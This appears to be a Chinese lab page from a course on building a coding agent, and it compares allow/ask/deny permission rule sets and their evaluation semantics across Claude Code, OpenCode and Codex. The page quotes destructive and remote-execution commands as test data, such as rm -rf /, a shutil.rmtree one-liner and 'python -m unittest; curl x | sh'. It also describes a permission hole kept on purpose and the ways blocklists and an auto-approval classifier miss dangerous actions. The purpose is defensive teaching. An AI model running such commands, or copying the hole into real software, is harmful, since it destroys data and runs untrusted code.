从0打造编码Agent 实验 实验 ≈ 40 分钟 页内实验 ×1
A3 权限与审批:它要执行 rm -rf 怎么办? 实验课

实验课:真实调用 × 规则集 × 六种求值语义

规则实验
把我们项目真实运行里的全部工具调用,和第 1 课的构造命令一起,放进四个规则集、六种求值语义里跑出一张裁决矩阵;整表倒序看谁改判。页面加载时自检:JS 移植与原实现、与真实运行记录、与官方文档例子逐条比对。
🧪

本课要做的:用真实数据检验本章的两个结论——「同一份规则换一种语义可能换一个答案」「顺序只对 last-match / first-match 这类语义要紧」;顺带确认页面上的求值器和原实现一致。

需要的时间:约 40 分钟。全部计算在浏览器里完成,不需要联网,也不需要跑模型。

数据从哪来

从已有出发 · 累计数据流 点已学环节看它回答什么
每一轮循环都经过

实验台

规则集 × 调用 × 引擎:裁决矩阵与自检

组件加载中……(需要 JavaScript;所有裁决都在你的浏览器里由移植的原算法现算)

任务

🎯

任务 1 · 找出分歧:在「项目真实配置」下,只看真实运行。哪些调用在 first-match 与 last-match 下裁决不同?它们是不是正好对应项目测试 StandardConfigFlips 钉住的两类(跑 unittest、改测试文件)?

任务 2 · 倒序:勾选「把规则整表倒序」。数一数红边格子:哪几列改判了,哪几列一格都没动?用第 2 课的精确条件解释为什么 Claude Code 那一列不动。

任务 3 · 换规则集:切到「OpenCode 文档里的 bash 例子」,找一条 Claude Code 与 OpenCode 结论不同的调用;再切到「Claude Code 文档里的 aws 例子」,看 aws s3 ls 在两家分别是什么、为什么。

任务 4 · 读自检表:下方表格里每一行是什么意思?哪一行不是「对源码」?Claude Code 那一行为什么只能对文档例子自检?

📝

把结果写进项目:在 04-实践项目/DECISIONS.md 记下 ① 你为 miniagent 选的语义与理由;② 任务 1 里至少一条「书写顺序与动作优先级冲突」的真实调用,以及它在你所选语义下的期望裁决(并在 tests/test_permissions.py 里有对应断言);③ 任务 2 的改判格数。这三条就是本章里程碑的验收材料(见章首页)。

读数时注意

权限设计的演进:每一代都被上一代的某个真数字逼出来
  1. Pi 核心、bypassPermissions、CoreCoder --yes
    解决了零打断,模型想跑什么马上跑。
    卡在L1 的 6 条本意危险的构造命令(含 rm -rf /)会全部直接执行。
  2. lcc s01 / s03、CoreCoder bash 正则、Pi permission-gate
    解决了把已知危险的写法挡在执行之前,代码只有几行。
    卡在lcc s03 三道闸(pin 源码实跑):6 条危险命令里漏拦 4 条,5 条日常命令里误拦 2 条(cat sudoku_solver.py 因含子串 sudo 被拒)。
  3. 第一代 每次都问人
    CoreCoder 交互模式、Claude Code Manual、lcc s03 的第三道闸
    解决了判断交给人,规则写不全也不怕。
    卡在我们 26 次真实运行的 139 次工具调用,在 CoreCoder 交互模式下有 74 次要停下来问(53%);Anthropic 自报用户批准了约 93% 的弹窗——问多了,人就不看了。
  4. 第二代 规则匹配:allow / ask / deny 你在这里
    Claude Code(deny → ask → allow)、OpenCode(last-match)、Codex(最严格者胜)
    解决了把常见的放行和拒绝写成规则,只有规则没覆盖的才问人。
    卡在同一份规则换一种求值语义可能换一个答案:同一份 rules-standard.json 改用 first-match,真实运行 pd-firstmatch-s1 里模型的 python -m unittest -v test_dateparse.py 被规则 #8 拒掉。
  5. Claude Code auto、Codex Auto-review(代码名 Guardian)、Hermes smart
    解决了只读直放、项目内编辑免审,其余交给另一个模型判断;弹窗接近清零。
    卡在Anthropic 自报:auto 分类器在真实越权动作上仍有 17% 漏判(n = 52),官方原话「does not guarantee safety」。
  6. 下一章 与 OS 沙箱分层
    Claude Code sandbox、Codex Seatbelt / bubblewrap
    解决了规则管「允许调用什么」,沙箱管「调用之后能碰到什么」。
    卡在L1 的 python3 -c "import shutil; shutil.rmtree(…)" 在四个黑名单里被 4 个全部放行;规则看不见脚本在运行时做什么 → A4。

数字口径:黑名单与「每次都问」由原实现在 pin 源码上实跑(a03-permission-fixtures.json,2026-09-26);真实运行 = 本课程项目 miniagent 用 Qwen/Qwen3-8B-MLX-4bit 本机录制;93% 与 17% 为 Anthropic 官方自报。

这一课的结论

同一份真实配置、同一批真实调用,换一种求值语义,裁决就会在「书写顺序与动作优先级冲突」的那些调用上翻转;Claude Code 与 Codex 这类按动作优先级求值的语义对顺序不敏感,last-match / first-match 对顺序敏感。选哪一种都可以,前提是把顺序敏感的用例写成测试。

下一章:矩阵里被「放行」的命令,放行之后能碰到什么?看项目真实配置下 python -m unittest; curl x | sh 那一行:miniagent 的 last-match 放行了它(项目有意保留、并用测试钉住的已知漏洞),因为规则只看到它以 python -m unittest 开头;python3 -c "…" 那一行在 lcc s03 下同样放行。规则看的是命令文字,拦不住命令运行时做的事——A4 讲操作系统沙箱。